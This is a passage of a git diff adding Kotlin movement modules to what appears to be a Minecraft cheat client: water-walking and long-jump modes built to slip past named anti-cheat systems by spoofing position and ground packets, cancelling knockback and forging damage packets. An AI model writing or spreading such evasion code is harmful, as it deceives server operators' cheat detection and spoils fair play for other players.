jumpMotionValue = FloatValue("${valuePrefix}Motion", 0.5f, 0.1f, 1f) + + override fun onJesus(event: UpdateEvent, blockPos: BlockPos) { + if (BlockUtils.getBlock(blockPos) === Blocks.water && mc.thePlayer.onGround) { + mc.thePlayer.motionY = jumpMotionValue.get().toDouble() + } + } + + override fun onBlockBB(event: BlockBBEvent) { + if (mc.thePlayer == null || mc.thePlayer.entityBoundingBox == null) { + return + } + + if (event.block is BlockLiquid && !jesus.isLiquidBlock() && !mc.thePlayer.isSneaking) { + event.boundingBox = AxisAlignedBB.fromBounds(event.x.toDouble(), event.y.toDouble(), event.z.toDouble(), (event.x + 1).toDouble(), (event.y + 1).toDouble(), (event.z + 1).toDouble()) + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/vanilla/LegitJesus.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/vanilla/LegitJesus.kt new file mode 100644 index 0000000..4279017 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/vanilla/LegitJesus.kt @@ -0,0 +1,6 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.jesus.vanilla + +import net.ccbluex.liquidbounce.features.module.modules.movement.jesus.JesusMode + +class LegitJesus : JesusMode("Legit") { +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/vanilla/SilentYPortJesus.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/vanilla/SilentYPortJesus.kt new file mode 100644 index 0000000..f6ced41 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/vanilla/SilentYPortJesus.kt @@ -0,0 +1,85 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.jesus.vanilla + +import net.ccbluex.liquidbounce.event.BlockBBEvent +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.jesus.JesusMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.minecraft.block.BlockLiquid +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.util.AxisAlignedBB +import net.minecraft.util.BlockPos + +class SilentYPortJesus : JesusMode("SilentYPort") { + private val yPortUpValue = FloatValue("${valuePrefix}Up", 0.1f, 0.0f, 0.5f) + private val yPortDownValue = FloatValue("${valuePrefix}Down", 0.1f, 0.0f, 0.5f) + private val yPortSpeedValue = FloatValue("${valuePrefix}SpeedModify", 1.0f, 0.0f, 1.5f) + private val yPortGroundValue = BoolValue("${valuePrefix}SpoofGround", false) + private val yPortConvertValue = BoolValue("${valuePrefix}ConvertGround", true) + private val yPortConvertDelayValue = IntegerValue("${valuePrefix}ConvertDelay", 1000, 0, 2000).displayable { yPortConvertValue.get() } + + private var nextTick = false + private val timer = MSTimer() + + override fun onEnable() { + nextTick = false + timer.reset() + } + override fun onJesus(event: UpdateEvent, blockPos: BlockPos) { + if (mc.thePlayer.onGround && jesus.isLiquidBlock( + AxisAlignedBB(mc.thePlayer.entityBoundingBox.maxX, mc.thePlayer.entityBoundingBox.maxY, + mc.thePlayer.entityBoundingBox.maxZ, mc.thePlayer.entityBoundingBox.minX, mc.thePlayer.entityBoundingBox.minY - 0.015626, + mc.thePlayer.entityBoundingBox.minZ) + )) { + mc.thePlayer.motionX *= yPortSpeedValue.get().toDouble() + mc.thePlayer.motionZ *= yPortSpeedValue.get().toDouble() + } + } + + override fun onBlockBB(event: BlockBBEvent) { + if (mc.thePlayer == null || mc.thePlayer.entityBoundingBox == null) { + return + } + + if (event.block is BlockLiquid && !jesus.isLiquidBlock() && !mc.thePlayer.isSneaking) { + event.boundingBox = AxisAlignedBB.fromBounds(event.x.toDouble(), event.y.toDouble(), event.z.toDouble(), (event.x + 1).toDouble(), (event.y + 1).toDouble(), (event.z + 1).toDouble()) + } + } + + override fun onPacket(event: PacketEvent) { + if (mc.thePlayer == null) { + return + } + + if (event.packet is C03PacketPlayer) { + if (mc.thePlayer.onGround && jesus.isLiquidBlock( + AxisAlignedBB( + mc.thePlayer.entityBoundingBox.maxX, + mc.thePlayer.entityBoundingBox.maxY, + mc.thePlayer.entityBoundingBox.maxZ, + mc.thePlayer.entityBoundingBox.minX, + mc.thePlayer.entityBoundingBox.minY - 0.01, + mc.thePlayer.entityBoundingBox.minZ + ) + ) + ) { + nextTick = !nextTick + event.packet.y = + mc.thePlayer.posY + if (nextTick) yPortUpValue.get().toDouble() else -yPortDownValue.get() + .toDouble() + if (timer.hasTimePassed( + yPortConvertDelayValue.get().toLong() + ) && yPortConvertValue.get() && !yPortGroundValue.get() + ) { + event.packet.onGround = true + timer.reset() + } else { + event.packet.onGround = yPortGroundValue.get() + } + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/vanilla/VanillaJesus.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/vanilla/VanillaJesus.kt new file mode 100644 index 0000000..87ad669 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/vanilla/VanillaJesus.kt @@ -0,0 +1,18 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.jesus.vanilla + +import net.ccbluex.liquidbounce.event.BlockBBEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.jesus.JesusMode +import net.minecraft.block.BlockLiquid +import net.minecraft.util.AxisAlignedBB + +class VanillaJesus : JesusMode("Vanilla") { + override fun onBlockBB(event: BlockBBEvent) { + if (mc.thePlayer == null || mc.thePlayer.entityBoundingBox == null) { + return + } + + if (event.block is BlockLiquid && !jesus.isLiquidBlock() && !mc.thePlayer.isSneaking) { + event.boundingBox = AxisAlignedBB.fromBounds(event.x.toDouble(), event.y.toDouble(), event.z.toDouble(), (event.x + 1).toDouble(), (event.y + 1).toDouble(), (event.z + 1).toDouble()) + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/vulcan/VulcanJesus.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/vulcan/VulcanJesus.kt new file mode 100644 index 0000000..5015130 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/jesus/vulcan/VulcanJesus.kt @@ -0,0 +1,63 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.jesus.vulcan + +import net.ccbluex.liquidbounce.event.BlockBBEvent +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.jesus.JesusMode +import net.minecraft.block.BlockLiquid +import net.minecraft.block.material.Material +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.util.AxisAlignedBB +import net.minecraft.util.BlockPos + +class VulcanJesus : JesusMode("Vulcan") { + private var nextStep = 0 + override fun onJesus(event: UpdateEvent, blockPos: BlockPos) { + if (jesus.isLiquidBlock() && mc.thePlayer.isInsideOfMaterial(Material.air)) { + mc.thePlayer.motionY = 0.08 + } + } + + override fun onBlockBB(event: BlockBBEvent) { + if (mc.thePlayer == null || mc.thePlayer.entityBoundingBox == null) { + return + } + + if (event.block is BlockLiquid && !jesus.isLiquidBlock() && !mc.thePlayer.isSneaking) { + event.boundingBox = AxisAlignedBB.fromBounds(event.x.toDouble(), event.y.toDouble(), event.z.toDouble(), (event.x + 1).toDouble(), (event.y + 1).toDouble(), (event.z + 1).toDouble()) + } + } + + override fun onPacket(event: PacketEvent) { + if (mc.thePlayer == null) { + return + } + + if (event.packet is C03PacketPlayer) { + if (jesus.isLiquidBlock( + AxisAlignedBB( + mc.thePlayer.entityBoundingBox.maxX, + mc.thePlayer.entityBoundingBox.maxY, + mc.thePlayer.entityBoundingBox.maxZ, + mc.thePlayer.entityBoundingBox.minX, + mc.thePlayer.entityBoundingBox.minY - 0.01, + mc.thePlayer.entityBoundingBox.minZ + )) + ) { + nextStep++ + event.packet.onGround = false //Jesus A + when (nextStep) { + 1 -> event.packet.y += 0.08232659236482401 + 2 -> event.packet.y += 0.13927999979019162 + 3 -> event.packet.y += 0.16542399994277950 + 4 -> event.packet.y += 0.11427136035293574 + 5 -> event.packet.y += 0.04194693730418576 + 6 -> { + event.packet.y += 0.01236341326161235 + nextStep = 0 + } + } + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/LongJumpMode.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/LongJumpMode.kt new file mode 100644 index 0000000..12d418e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/LongJumpMode.kt @@ -0,0 +1,41 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.longjumps + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.modules.movement.LongJump +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.ccbluex.liquidbounce.features.value.Value +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType + +abstract class LongJumpMode(val modeName: String) : MinecraftInstance() { + protected val valuePrefix = "$modeName-" + + protected val longjump: LongJump + get() = FDPClient.moduleManager[LongJump::class.java]!! + + open val values: List<Value<*>> + get() = ClassUtils.getValues(this.javaClass, this) + + fun sendLegacy() { + if(!longjump.legacyWarningValue.get()) return + + FDPClient.hud.addNotification(Notification("LongJump", "This bypass is for an outdated anti cheat version!", NotifyType.WARNING, 1000)) + } + + open fun onEnable() {} + open fun onDisable() {} + + open fun onAttemptJump() {} + open fun onAttemptDisable() {} + + open fun onUpdate(event: UpdateEvent) {} + open fun onPreMotion(event: MotionEvent) {} + open fun onMotion(event: MotionEvent) {} + open fun onPacket(event: PacketEvent) {} + open fun onMove(event: MoveEvent) {} + open fun onBlockBB(event: BlockBBEvent) {} + open fun onJump(event: JumpEvent) {} + open fun onStep(event: StepEvent) {} +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/aac/AACv1Longjump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/aac/AACv1Longjump.kt new file mode 100644 index 0000000..2d7fe65 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/aac/AACv1Longjump.kt @@ -0,0 +1,18 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.aac + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.LongJumpMode +import net.ccbluex.liquidbounce.utils.MovementUtils + +class AACv1Longjump : LongJumpMode("AACv1") { + override fun onUpdate(event: UpdateEvent) { + mc.thePlayer.motionY += 0.05999 + MovementUtils.strafe(MovementUtils.getSpeed() * 1.08f) + } + override fun onAttemptJump() { + mc.thePlayer.jump() + } + override fun onAttemptDisable() { + longjump.state = false + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/aac/AACv2Longjump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/aac/AACv2Longjump.kt new file mode 100644 index 0000000..91b04e6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/aac/AACv2Longjump.kt @@ -0,0 +1,20 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.aac + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.LongJumpMode +import net.ccbluex.liquidbounce.utils.MovementUtils + +class AACv2Longjump : LongJumpMode("AACv2") { + override fun onUpdate(event: UpdateEvent) { + mc.thePlayer.jumpMovementFactor = 0.09f + mc.thePlayer.motionY += 0.0132099999999999999999999999999 + mc.thePlayer.jumpMovementFactor = 0.08f + MovementUtils.strafe() + } + override fun onAttemptJump() { + mc.thePlayer.jump() + } + override fun onAttemptDisable() { + longjump.state = false + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/aac/AACv3Longjump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/aac/AACv3Longjump.kt new file mode 100644 index 0000000..55e3487 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/aac/AACv3Longjump.kt @@ -0,0 +1,41 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.aac + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.LongJumpMode +import net.minecraft.util.EnumFacing + +class AACv3Longjump : LongJumpMode("AACv3") { + private val tpdistance = FloatValue("TpDistance", 3f, 1f, 6f) + + private var teleported = false + override fun onEnable() { + teleported = false + } + override fun onUpdate(event: UpdateEvent) { + if (mc.thePlayer.fallDistance > 0.5f && !teleported) { + val value = tpdistance.get().toDouble() + var x = 0.0 + var z = 0.0 + + when(mc.thePlayer.horizontalFacing) { + EnumFacing.NORTH -> z = -value + EnumFacing.EAST -> x = +value + EnumFacing.SOUTH -> z = +value + EnumFacing.WEST -> x = -value + EnumFacing.DOWN -> TODO() + EnumFacing.UP -> TODO() + } + + mc.thePlayer.setPosition(mc.thePlayer.posX + x, mc.thePlayer.posY, mc.thePlayer.posZ + z) + teleported = true + } + } + override fun onAttemptJump() { + mc.thePlayer.jump() + teleported = false + } + override fun onAttemptDisable() { + longjump.state = false + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/aac/OldAAC5Longjump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/aac/OldAAC5Longjump.kt new file mode 100644 index 0000000..21af7c2 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/aac/OldAAC5Longjump.kt @@ -0,0 +1,24 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.aac + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.LongJumpMode +import net.ccbluex.liquidbounce.utils.MovementUtils + +class OldAAC5Longjump : LongJumpMode("OldAAC5") { + override fun onEnable() { + sendLegacy() + } + + override fun onUpdate(event: UpdateEvent) { + mc.thePlayer.motionY += 0.031470000997 + MovementUtils.strafe(MovementUtils.getSpeed() * 1.0114514f) + mc.timer.timerSpeed = 1.0114514f + } + override fun onAttemptJump() { + mc.thePlayer.jump() + mc.thePlayer.motionY = 0.425 + } + override fun onAttemptDisable() { + longjump.state = false + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/matrix/MatrixFlagLongjump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/matrix/MatrixFlagLongjump.kt new file mode 100644 index 0000000..6b35e25 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/matrix/MatrixFlagLongjump.kt @@ -0,0 +1,50 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.matrix + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.event.JumpEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.LongJumpMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.network.play.server.S08PacketPlayerPosLook +import kotlin.math.cos +import kotlin.math.sin + + +class MatrixFlagLongjump : LongJumpMode("MatrixFlag") { + + var isFlag = false + var doBoost = false + override fun onEnable() { + isFlag = false + doBoost = false + sendLegacy() + } + + override fun onUpdate(event: UpdateEvent) { + if (isFlag || !doBoost) return + var yaw = Math.toRadians(MovementUtils.movingYaw.toDouble()) + mc.thePlayer.motionX = -sin(yaw) * 1.89 + mc.thePlayer.motionZ = cos(yaw) * 1.89 + mc.thePlayer.motionY = 0.42 + } + override fun onPacket(event: PacketEvent) { + if(event.packet is S08PacketPlayerPosLook) { + isFlag = true + return + } + } + override fun onAttemptJump() { + MovementUtils.strafe() + doBoost = true + } + override fun onJump(event: JumpEvent) { + MovementUtils.strafe() + doBoost = true + event.cancelEvent() + } + override fun onAttemptDisable() { + if (isFlag) { + longjump.state = false + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/matrix/MatrixHurtLongjump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/matrix/MatrixHurtLongjump.kt new file mode 100644 index 0000000..81fd4c7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/matrix/MatrixHurtLongjump.kt @@ -0,0 +1,51 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.matrix + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.LongJumpMode +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.minecraft.network.play.server.S12PacketEntityVelocity +import kotlin.math.cos +import kotlin.math.sin + +class MatrixHurtLongjump : LongJumpMode("MatrixHurt") { + private val boostSpeed = FloatValue("${valuePrefix}BoostSpeed", 0.416f, 0.1f, 1.0f) + private val ticks = IntegerValue("${valuePrefix}Ticks", 10, 5, 20) + private var detected = false + private var motiony = 0.0 + private var tick = 0 + override fun onEnable() { + detected = false + motiony = 0.0 + tick = 0 + sendLegacy() + } + override fun onUpdate(event: UpdateEvent) { + if(detected) { + val yaw = Math.toRadians(mc.thePlayer.rotationYaw.toDouble()) + mc.thePlayer.motionY = motiony + mc.thePlayer.motionX += -(sin(yaw) * boostSpeed.get()) + mc.thePlayer.motionZ += (cos(yaw) * boostSpeed.get()) + tick++ + if(tick>=ticks.get()) { + tick = 0 + detected = false + motiony = 0.0 + onAttemptDisable() + } + } + } + override fun onPacket(event: PacketEvent) { + if(event.packet is S12PacketEntityVelocity) { + if (mc.thePlayer == null || (mc.theWorld?.getEntityByID(event.packet.entityID) ?: return) != mc.thePlayer) return + if(event.packet.motionY / 8000.0 > 0.2) { + detected = true + motiony = event.packet.motionY / 8000.0 + } + } + } + override fun onAttemptDisable() { + longjump.state = false + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/matrix/MatrixWaterLongjump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/matrix/MatrixWaterLongjump.kt new file mode 100644 index 0000000..0436382 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/matrix/MatrixWaterLongjump.kt @@ -0,0 +1,30 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.matrix + +import net.ccbluex.liquidbounce.event.MotionEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.LongJumpMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.FloatValue + +class MatrixWaterLongjump : LongJumpMode("MatrixWater") { + private val hValue = FloatValue("${valuePrefix}Horizon", 1.0f, 0.8f, 4.0f) + private val yValue = FloatValue("${valuePrefix}MotionY", 0.42f, 0.0f, 2.0f) + private var doDisable = false + override fun onEnable() { + doDisable = false + sendLegacy() + } + override fun onPreMotion(event: MotionEvent) { + if(mc.thePlayer.isInWater) { + if (doDisable) { + onAttemptDisable() + return + } + mc.thePlayer.motionY = yValue.get().toDouble() + MovementUtils.strafe(hValue.get()) + doDisable = true + } + } + override fun onAttemptDisable() { + longjump.state = false + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/medusa/MedusaLongjump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/medusa/MedusaLongjump.kt new file mode 100644 index 0000000..99203e8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/medusa/MedusaLongjump.kt @@ -0,0 +1,109 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.medusa + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.event.JumpEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.LongJumpMode +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C03PacketPlayer.* +import net.minecraft.network.play.server.S12PacketEntityVelocity +import net.minecraft.network.play.server.S08PacketPlayerPosLook +import kotlin.math.cos +import kotlin.math.sin + +class MedusaLongjump : LongJumpMode("Medusa") { + private val boostValue = FloatValue("${valuePrefix}Boost", 2.0f, 0.6f, 2.5f) + private val motionYValue = FloatValue("${valuePrefix}MotionY", 0.625f, 0.8f, 0.42f) + private val bTimerValue = FloatValue("${valuePrefix}BoostTimer", 0.2f, 0.05f, 0.4f) + private val onlyDamageValue = BoolValue("${valuePrefix}OnlyDamage", true) + private val motionResetValue = BoolValue("${valuePrefix}MotionReset", true) + var canBoost = false + var boosting = false + var firstEnable = false + var skipDetect = false + var flagReveiced = false + var coDynamic = "Medusa LongJump Bypass - by Co Dynamic 2022 12 22" + + override fun onEnable() { + mc.timer.timerSpeed = 1.0f + canBoost = false + boosting = false + firstEnable = true + skipDetect = false + } + + override fun onDisable() { + MovementUtils.resetMotion(false) + mc.timer.timerSpeed = 1.0f + } + + override fun onUpdate(event: UpdateEvent) { + if (canBoost && boosting && mc.timer.timerSpeed < 1.0f && flagReveiced) { + skipDetect = true + mc.thePlayer.jump() + mc.thePlayer.onGround = true + mc.timer.timerSpeed = 1.0f + mc.thePlayer.motionY = motionYValue.get().toDouble() + MovementUtils.strafe(boostValue.get()) + longjump.airTick = 999 + firstEnable = false + boosting = false + canBoost = false + longjump.noTimerModify = false + }else if (mc.thePlayer.onGround && motionResetValue.get()) { + MovementUtils.resetMotion(false) + //more convenient operation, but sometimes will flag a little bit (not so important) + } + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is S08PacketPlayerPosLook) { + flagReveiced = true + } + if (packet is C03PacketPlayer && canBoost) { + packet.onGround = true + } + if (packet is S12PacketEntityVelocity) { + if (mc.thePlayer == null || (mc.theWorld?.getEntityByID(packet.entityID) ?: return) != mc.thePlayer) return + event.cancelEvent() + } + } + + override fun onAttemptDisable() { + if (!firstEnable) { + longjump.state = false + } else { + longjump.airTick = -1 + } + } + + override fun onAttemptJump() { + if (onlyDamageValue.get() && mc.thePlayer.hurtTime == 0) + return + mc.thePlayer.jump() + } + + override fun onJump(event: JumpEvent) { + if (skipDetect) { + skipDetect = false + return + } + event.cancelEvent() + if ((mc.thePlayer.hurtTime > 0 || !onlyDamageValue.get()) && !canBoost && mc.thePlayer.onGround && longjump.airTick < 100) { + flagReveiced = false + canBoost = true + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 1, mc.thePlayer.posZ, false)) + mc.thePlayer.onGround = false + MovementUtils.resetMotion(true) + mc.thePlayer.jumpMovementFactor = 0.0f + longjump.airTick = -1 + mc.timer.timerSpeed = bTimerValue.get() + longjump.noTimerModify = true + boosting = true + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/ncp/NCPDamageLongjump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/ncp/NCPDamageLongjump.kt new file mode 100644 index 0000000..cff72be --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/ncp/NCPDamageLongjump.kt @@ -0,0 +1,106 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.ncp + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.JumpEvent +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.LongJumpMode +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.network.play.client.C03PacketPlayer + +class NCPDamageLongjump : LongJumpMode("NCPDamage") { + private val modeValue = ListValue("${valuePrefix}Mode", arrayOf("Normal", "OldHypixel"), "Normal") + private val hypBoostValue = FloatValue("${valuePrefix}BoostSpeed", 1.2f, 1f, 2f).displayable { modeValue.equals("OldHypixel") } + private val ncpBoostValue = FloatValue("${valuePrefix}Boost", 4.25f, 1f, 10f).displayable { modeValue.equals("Normal") } + private val ncpdInstantValue = BoolValue("${valuePrefix}DamageInstant", false) + private val jumpYPosArr = arrayOf(0.0, 0.41999998688698, 0.7531999805212, 1.00133597911214, 1.16610926093821, 1.24918707874468, 1.24918707874468, 1.1707870772188, 1.0155550727022, 0.78502770378924, 0.4807108763317, 0.10408037809304) + private var canBoost = false + private var x = 0.0 + private var y = 0.0 + private var z = 0.0 + private var boostSpeed = 1.2f + private var balance = 0 + private var damageStat = false + private var hasJumped = false + override fun onEnable() { + sendLegacy() + hasJumped = false + damageStat = false + if(ncpdInstantValue.get()) { + balance = 114514 + } else { + balance = 0 + FDPClient.hud.addNotification(Notification(longjump.name, "Wait for damage...", NotifyType.SUCCESS, jumpYPosArr.size * 4 * 50)) + } + x = mc.thePlayer.posX + y = mc.thePlayer.posY + z = mc.thePlayer.posZ + boostSpeed = hypBoostValue.get() + } + override fun onUpdate(event: UpdateEvent) { + if (!damageStat) { + mc.thePlayer.setPosition(x, y, z) + mc.thePlayer.onGround = false + mc.thePlayer.motionY = 0.0 + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + mc.thePlayer.jumpMovementFactor = 0.0f + if (balance >= jumpYPosArr.size * 3) { + repeat(3) { + jumpYPosArr.forEach { + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(x, y + it, z, false)) + } + } + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(x, y, z, true)) + damageStat = true + mc.thePlayer.onGround = true + longjump.airTick = 0 + } + } else if (modeValue.equals("OldHypixel")) { + mc.thePlayer.motionY += 0.0049 + if (longjump.airTick <= 10) { + MovementUtils.strafe(0.278f * boostSpeed) + boostSpeed -= 0.0008f + hypBoostValue.get() * 0.000167f + } + } + } + + override fun onJump(event: JumpEvent) { + if (modeValue.equals("Normal")) { + MovementUtils.strafe(0.50f * ncpBoostValue.get()) + } + longjump.airTick = 0 + hasJumped = true + } + + override fun onAttemptJump() { + if (damageStat && !hasJumped) { + mc.thePlayer.jump() + } + if (modeValue.equals("OldHypixel")) { + MovementUtils.strafe(0.472f + 0.08f * boostSpeed) + mc.thePlayer.motionY = 0.419999 + } + } + + override fun onAttemptDisable() { + longjump.state = false + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + + if (packet is C03PacketPlayer) { + if (!damageStat) { + balance++ + event.cancelEvent() + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/ncp/NCPLatestLongjump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/ncp/NCPLatestLongjump.kt new file mode 100644 index 0000000..5ca1eaf --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/longjumps/ncp/NCPLatestLongjump.kt @@ -0,0 +1,83 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.ncp + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.LongJumpMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.TransferUtils +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.utils.BlinkUtils +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.server.S08PacketPlayerPosLook +import net.minecraft.init.Blocks +import net.minecraft.util.BlockPos + +class NCPLatestLongjump : LongJumpMode("NCPLatest") { + private val ncpBoostValue = FloatValue("${valuePrefix}Boost", 10f, 1f, 10f) + private val blink = BoolValue("${valuePrefix}Blink", false) + private val mmc = BoolValue("${valuePrefix}OldMMC", false) + private val warn = BoolValue("${valuePrefix}Warn", true) + + private var canBoost = false + private var cancelTeleport = false + + override fun onEnable() { + canBoost = false + cancelTeleport = false + if (warn.get()) + ClientUtils.displayChatMessage("§8[§c§lNCPLatest§8] §aYou must be under a block to bypass") + + } + + override fun onUpdate(event: UpdateEvent) { + if (mc.thePlayer.onGround) { + if (canBoost) { + mc.thePlayer.jump() + if (mmc.get()) { + MovementUtils.strafe(0.7f) + } else { + 